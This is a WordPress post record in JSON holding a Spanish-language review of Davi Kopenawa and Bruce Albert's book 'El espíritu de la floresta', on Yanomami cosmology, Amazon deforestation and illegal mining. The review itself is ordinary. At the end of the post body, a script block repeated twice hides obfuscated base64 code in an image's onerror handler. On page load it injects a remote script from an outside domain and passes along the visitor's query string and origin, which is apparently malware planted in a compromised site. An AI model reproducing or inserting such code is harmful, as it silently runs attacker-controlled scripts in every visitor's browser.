{"id":3726,"date":"2024-02-19T09:46:53","date_gmt":"2024-02-19T12:46:53","guid":{"rendered":"https:\/\/circuitosalta.com.ar\/?p=3726"},"modified":"2025-08-14T00:00:18","modified_gmt":"2025-08-14T03:00:18","slug":"la-depredacion-del-planeta-desde-la-mirada-de-una-etnia-del-amazonas","status":"publish","type":"post","link":"https:\/\/circuitosalta.com.ar\/?p=3726","title":{"rendered":"La depredaci\u00f3n del planeta desde la mirada de una etnia del Amazonas"},"content":{"rendered":"\n<h3 class=\"wp-block-heading has-vivid-green-cyan-background-color has-background\"><em>La segunda entrega de la serie Pluriversos de Eterna Cadencia, ofrece una obra sobre cosmovisiones y choques culturales escrita a cuatro manos por\u00a0el cham\u00e1n brasile\u00f1o Davi Kopemawajunto y el antrop\u00f3logo franc\u00e9s Bruce Albert.<\/em><\/h3>\n\n\n\n<p class=\"has-text-align-right\"><em><sup><mark style=\"background-color:rgba(0, 0, 0, 0);color:#686868\" class=\"has-inline-color\">POR MARINA SEP\u00daLVEDA<\/mark><\/sup><\/em><\/p>\n\n\n\n<p><strong>\u00abLa floresta est\u00e1 viva. S\u00f3lo morir\u00e1 si los blancos insisten en destruirla\u00bb<\/strong>\u00a0asevera el cham\u00e1n brasile\u00f1o\u00a0<strong>Davi Kopemawa<\/strong>\u00a0desde la sabidur\u00eda ancestral de los ind\u00edgenas yanomami del Amazonas, algo que se traduce en en el libro\u00a0<strong>\u00abEl esp\u00edritu de la floresta\u00bb<\/strong>, la segunda entrega de la serie Pluriversos de Eterna Cadencia que ofrece una obra sobre cosmovisiones y choques culturales escrita a cuatro manos junto al antrop\u00f3logo franc\u00e9s\u00a0<strong>Bruce Albert<\/strong>.<\/p>\n\n\n\n<p>Con prefacio de&nbsp;<strong>Emanuele Coccia<\/strong>&nbsp;y traducci\u00f3n de&nbsp;<strong>Mario C\u00e1mara<\/strong>, el libro desarrolla en sus&nbsp;<strong>245 p\u00e1ginas<\/strong>&nbsp;el pensamiento y cosmovisi\u00f3n del pueblo Yanomami a partir del di\u00e1logo y la amistad surgida desde finales de la d\u00e9cada de 1970 cuando el antrop\u00f3logo franc\u00e9s&nbsp;<strong>Bruce Albert<\/strong>&nbsp;(Marruecos, 1952) conoci\u00f3 a ese colectivo de cazadores-agricultores y a su actual l\u00edder y cham\u00e1n, Davi Kopenawa, nacido hacia 1956 en la comunidad de M\u00f5ra mahi araop\u00eb (regi\u00f3n del r\u00edo Toototobi) en el extremo norte del Amazonas.<\/p>\n\n\n\n<p><strong>\u00abEs posible que ustedes hayan o\u00eddo hablar de nosotros. Sin embargo, no saben qui\u00e9nes somos realmente. Eso no es bueno. No conocen nuestra floresta ni nuestras casas. No entienden nuestras palabras. As\u00ed que es posible que acabemos muriendo sin que lo sepan\u00bb, escribe Kopenawa en \u00abEl esp\u00edritu de la floresta\u00bb<\/strong>, recientemente editado por Eterna Cadencia.<\/p>\n\n\n\n<p>El volumen contin\u00faa la Serie Pluriversos dirigida por&nbsp;<strong>Natalia Brizuela<\/strong>&nbsp;e iniciada con&nbsp;<strong>\u00abLa vida no es \u00fatil\u00bb<\/strong>&nbsp;de&nbsp;<strong>Ailton Krenak<\/strong>, manteniendo ese descubrimiento y respeto por otras cosmovisiones y su mirada sobre la supervivencia del mundo. Dotado de prefacio, pr\u00f3logo y 16 cap\u00edtulos de diversa intensidad, las voces de Bruce y Kopenawa se intercalan acompa\u00f1adas por los dibujos del cham\u00e1n y otros yanomamis, a la vez que se intensifican con el registro de la fot\u00f3grafa y activista&nbsp;<strong>Claudia Andujar<\/strong>.<\/p>\n\n\n\n<p>La actualidad del texto resume 20 a\u00f1os de testimonios, s\u00edntesis y recorridos compartidos entre los autores -y sus 45 a\u00f1os de amistad-, que contrasta e interpela desde la cosmovisi\u00f3n yanomami los estragos de la deforestaci\u00f3n del Amazonas -el pulm\u00f3n de Europa- intensificada durante el gobierno del brasile\u00f1o Jair Bolsonaro (2019-2022), as\u00ed como la miner\u00eda ilegal y contaminaci\u00f3n de agua y suelo, entre otros males.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" src=\"https:\/\/www.telam.com.ar\/thumbs\/bluesteel\/advf\/imagenes\/2024\/02\/65d2a4207e52e_1200.jpg\" alt=\"\"\/><figcaption class=\"wp-element-caption\">El cham\u00e1n Davi Kopenawa.<\/figcaption><\/figure>\n\n\n\n<p>Los grandes fuegos generados intencionalmente para arrasar el bosque tropical y destinar esas superficies a la explotaci\u00f3n ganadera y cultivos, traen aparejados adem\u00e1s las enfermedades llevadas por el hombre blanco -gripe, sarampi\u00f3n, tos convulsa, malaria- que desde los primeros contactos diezmaron a los pueblos y hoy d\u00eda contin\u00faan con una renovada fiebre del oro de los garimpeiros, como se conoce a los buscadores ilegales de minerales. Una actividad que m\u00e1s all\u00e1 de las acciones gubernamentales para frenar la actividad il\u00edcita del a\u00f1o pasado, provoc\u00f3 que el 20 de enero el actual presidente Luiz In\u00e1cio \u00abLula\u00bb da Silva declarara el estado de emergencia ante la crisis sanitaria y de seguridad desatada por la miner\u00eda ilegal.<\/p>\n\n\n\n<p><strong>\u00abQuiero alertar a los blancos antes de que acaben arrancando del suelo hasta las ra\u00edces del cielo\u00bb<\/strong>, dice Kopenawa citado por Albert desde el texto previo y m\u00e1s extenso escrito por ambos, \u00abA queda do ceu\u00bb.<\/p>\n\n\n\n<p>\u00ab&#8216;El esp\u00edritu de la floresta\u00bb&nbsp;<strong>es uno de esos libros urgentes e indispensables que puede fungir como lo hizo en el siglo XIX la Piedra Rosetta, -la estela que le permiti\u00f3 a otro franc\u00e9s, Champollion, traducir los jerogl\u00edficos egipcios comparando el mismo texto escrito en griego-\u00bb propone desde el prefacio Emanuele Coccia, quien insta a comprender al otro en vez de aniquilarlo.<\/strong><\/p>\n\n\n\n<p>Son testimonios reunidos&nbsp;<strong>\u00abde uno de los pueblos ind\u00edgenas m\u00e1s emblem\u00e1ticos de la regi\u00f3n amaz\u00f3nica: una interpelaci\u00f3n a explorar una salida alternativa a la devastaci\u00f3n, la explotaci\u00f3n, la violencia\u00bb,<\/strong>&nbsp;como explicitan desde la editorial sobre la depredaci\u00f3n que elimina las fuentes y recursos de vida de estos cazadores-recolectores y agricultores, y que instala la muerte y explotaci\u00f3n de las etnias ind\u00edgenas.<\/p>\n\n\n\n<p>El libro habilita un modo de abordar y traducir sin traicionar esta cosmovisi\u00f3n que ense\u00f1a otro modo de vida, opuesta a la del \u00abhombre mercanc\u00eda\u00bb como define Kopenawa al hombre blanco -los nap\u00eb p\u00eb- y su \u00ablocura depredadora\u00bb en palabras de Bruce, en referencia a la penetraci\u00f3n que comenz\u00f3 en la floresta amaz\u00f3nica hace unos cien a\u00f1os, un proceso intensificado hacia 1970 con la idea -luego abandonada- de una carretera para integrar la Amazonia.<\/p>\n\n\n\n<p>T\u00e9rminos como crisis clim\u00e1tica, miner\u00eda ilegal, ganader\u00eda y agricultura extensiva, quema y tala de la foresta (selva y bosque), m\u00e1s las enfermedades como el sarampi\u00f3n que se llev\u00f3 puesto a muchos en d\u00e9cadas previas, o las enfermedades respiratorias como la gripe y el corolario de la pandemia desatada en 2020, son un destino cada vez m\u00e1s compartido entre los yanomami y el \u00abhombre blanco\u00bb, sostiene Albert en el cap\u00edtulo \u00abTodos somos \u00abindios\u00bb. Una convergencia que alcanza a todas las etnias humanas a partir de la enfermedad por coronavirus (covid-19), equiparando un destino de aniquilaci\u00f3n cada vez m\u00e1s cercano.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">La tierra-floresta-mundo<\/h2>\n\n\n\n<p>La etnia vive en Brasil en un geograf\u00eda delimitada por el Estado brasile\u00f1o desde 1992 como \u00abTierra Ind\u00edgena Yanomami\u00bb, en respuesta a una lucha larga en defensa y preservaci\u00f3n del pueblo amaz\u00f3nico impulsada por la Comisi\u00f3n Pro Yanomami (Boa Vista) fundada en 1978 por Kopenawa, Bruce, Andujar y Carlo Zacquini.<\/p>\n\n\n\n<p>Sin perder de vista esta institucionalidad necesaria, en la tierra-foresta-mundo o \u00aburihi a\u00bb como la llaman los yanomami, el hombre es parte de la biodiversidad junto con esp\u00edritus (los xapiri p\u00eb) y lenguas profusas que se llenan de onomatopeyas y llamados interespecies: es una tierra donde los chamanes protegen a los seres (humanos y no-humanos) de la enfermedad, del \u00abhumo\u00bb (enfermedades), buscando no extinguirse. Una tierra donde se sue\u00f1a, un poco en sinton\u00eda con Ailton de los Krenak, otro de los pueblos ind\u00edgenas de Brasil, que invita a no dejar de so\u00f1ar porque el tiempo del sue\u00f1o es una continuidad de la vida (diurna), donde las im\u00e1genes cobran una fuerza que no alcanzan \u00ablas palabras dibujadas\u00bb (la escritura) del hombre blanco.<\/p>\n\n\n\n<p>En el cap\u00edtulo \u00abSo\u00f1ar lejos\u00bb, Kopenawa dice que&nbsp;<strong>para aprender a ver a los esp\u00edritus de la floresta, ver las im\u00e1genes -que est\u00e1n relacionadas con sus antepasados e historia- a las que se llega mediante el uso de un polvo psicotr\u00f3pico (y\u00e3koana) extra\u00eddo de la resina de la corteza de un \u00e1rbol, \u00abse tarda tanto como los blancos en aprender a dibujar el sonido de sus palabras\u00bb<\/strong>. Cr\u00edtico, afirma m\u00e1s adelante el l\u00edder de la comunidad que&nbsp;<strong>\u00ablos blancos dibujan las l\u00edneas de sus palabras porque su pensamiento est\u00e1 lleno de olvido\u00bb.<\/strong><\/p>\n\n\n\n<p>Adem\u00e1s de la descripci\u00f3n profusa y \u00e1gil sobre la lengua y costumbres yanomami que realiza Albert, y de las propias palabras del cham\u00e1n, el libro posiciona el intercambio etnogr\u00e1fico, est\u00e9tico e intelectual que tuvo lugar por parte de un grupo de chamanes y artistas del pueblo yanomami de Brasil con artistas y cient\u00edficos de distintos pa\u00edses, algo que cont\u00f3 con el auspicio y contribuci\u00f3n de la Fundaci\u00f3n Cartier para el Arte Contempor\u00e1neo posibilitando en gran parte esta aventura.<\/p>\n\n\n\n<p>El ciclo Yanomami tiene su origen en las conversaciones mantenidas en la casa colectiva yanomami de Watorik\u0268, en diciembre de 2000, entre Herv\u00e9 Chand\u00e8s, director general de la Fundaci\u00f3n Cartier, y los autores de este libro. Varias fueron las exposiciones de este intercambio prol\u00edfico: desde \u00ab`L&#8217;esprit de la for\u00eat` (2003) -hom\u00f3nima del libro- hasta \u00abLes vivants\u00bb (2022), pasando por `Terre natale. Ailleurs commence ici` (2008), \u00b4Math\u00e9matiques, un d\u00e9paysement soudain\u00b4 e `Histoires de voir\u00b4 (2012), \u00b4M\u00e9moires vives\u00b4 (2014), \u00b4Le Grand Orchestre des animaux\u00b4 (2016), \u00b4Nous les arbres\u00b4 (2019) y \u00b4Claudia Andujar. La lutte yanomami\u00b4 (2020)\u00bb, enumera Albert como persistencia.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" src=\"https:\/\/www.telam.com.ar\/thumbs\/bluesteel\/advf\/imagenes\/2024\/02\/65d2a4206910f_1200.jpg\" alt=\"\"\/><figcaption class=\"wp-element-caption\">El antrop\u00f3logo Bruce Albert.<\/figcaption><\/figure>\n\n\n\n<p>Especial inter\u00e9s cobra en esta gran apuesta de difusi\u00f3n de ambos autores el relato sobre intercambios y apropiaciones por parte de los yanomamis desde el dibujo: por un lado las im\u00e1genes del cham\u00e1n Taniki que volc\u00f3 en dibujos desde la d\u00e9cada de 1970 la \u00abhuella\u00bb del \u00abdevenir imagen\u00bb, hasta la obra del artista autodidacta yanomami Joseca, al que la floresta le ense\u00f1\u00f3 a dibujar, y lo hace inspir\u00e1ndose en el canto de los chamanes, como un puente entre culturas.<\/p>\n\n\n\n<p>Aunque tambi\u00e9n es interesante el intercambio del matem\u00e1tico C\u00e9dric Villani y Kopenawa, que le pregunt\u00f3 al primero \u00bfde qu\u00e9 est\u00e1n hechos tus sue\u00f1os? Los paralelismos surgidos de esta extra\u00f1a conversaci\u00f3n est\u00e1n relatados en el cap\u00edtulo 9, \u00abM\u00e1s all\u00e1 de los ojos. El matem\u00e1tico y el cham\u00e1n\u00bb.<\/p>\n\n\n\n<p>La tierra ind\u00edgena Yanomami es la mayor reserva ind\u00edgena de Brasil en la que viven unos 29.000 y se ubica entre el estado de Amazonas y Roraima,&nbsp;<strong>siendo alrededor de 54 000 las personas que forman parte de la etnia distribuidas en un territorio de unos 220 000 km2 de floresta tropical situado a ambos lados de la frontera entre Brasil y Venezuela.<\/strong><\/p>\n\n\n\n<p>Los que viven en el extremo norte de la Amazonia brasile\u00f1a conforman 366 grupos locales diseminados en los afluentes de los principales cauces de la margen derecha del r\u00edo Branco, en el oeste del estado de Roraima, y de la margen izquierda del r\u00edo Negro, en el norte del Amazonas, de 96 650 km2.<\/p>\n\n\n\n<p><strong>\u00abEste territorio est\u00e1 hoy devastado por una invasi\u00f3n masiva de mineros ilegales que no ha dejado de crecer, sometiendo a m\u00e1s de la mitad de la poblaci\u00f3n yanomami a graves problemas de salud, violencia y explotaci\u00f3n sexual, inseguridad alimentaria y degradaci\u00f3n social. En octubre de 2018, 1236 hect\u00e1reas de floresta ya hab\u00edan sido destruidas por la actividad minera ilegal. En septiembre de 2022, esta cifra casi se hab\u00eda cuadruplicado, alcanzando m\u00e1s de 4500 hect\u00e1reas\u00bb<\/strong>, se\u00f1ala Albert.<\/p>\n\n\n\n<p>Pero sobre todo, se debe tener en cuenta que la floresta amaz\u00f3nica extendida por nueve pa\u00edses latinoamericanos alberga la mayor parte de biodiversidad conocida y est\u00e1 habitada por lo menos desde hace 11.000 a\u00f1os, muy lejos de ser una floresta virgen.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/www.telam.com.ar\/notas\/202402\/655569-la-depredacion-del-planeta-desde-la-mirada-de-una-etnia-del-amazonas.html\" target=\"_blank\" rel=\"noreferrer noopener\"><img fetchpriority=\"high\" decoding=\"async\" width=\"964\" height=\"96\" src=\"https:\/\/circuitosalta.com.ar\/wp-content\/uploads\/2022\/04\/Captura-web_6-4-2022_125922_www.telam_.com_.ar_.jpeg\" alt=\"\" class=\"wp-image-562\" srcset=\"https:\/\/circuitosalta.com.ar\/wp-content\/uploads\/2022\/04\/Captura-web_6-4-2022_125922_www.telam_.com_.ar_.jpeg 964w, https:\/\/circuitosalta.com.ar\/wp-content\/uploads\/2022\/04\/Captura-web_6-4-2022_125922_www.telam_.com_.ar_-300x30.jpeg 300w, https:\/\/circuitosalta.com.ar\/wp-content\/uploads\/2022\/04\/Captura-web_6-4-2022_125922_www.telam_.com_.ar_-768x76.jpeg 768w, https:\/\/circuitosalta.com.ar\/wp-content\/uploads\/2022\/04\/Captura-web_6-4-2022_125922_www.telam_.com_.ar_-696x69.jpeg 696w\" sizes=\"(max-width: 964px) 100vw, 964px\" \/><\/a><\/figure>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script><script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>La segunda entrega de la serie Pluriversos de Eterna Cadencia, ofrece una obra sobre cosmovisiones y choques culturales escrita a cuatro manos por\u00a0el cham\u00e1n brasile\u00f1o Davi Kopemawajunto y el antrop\u00f3logo franc\u00e9s Bruce Albert. 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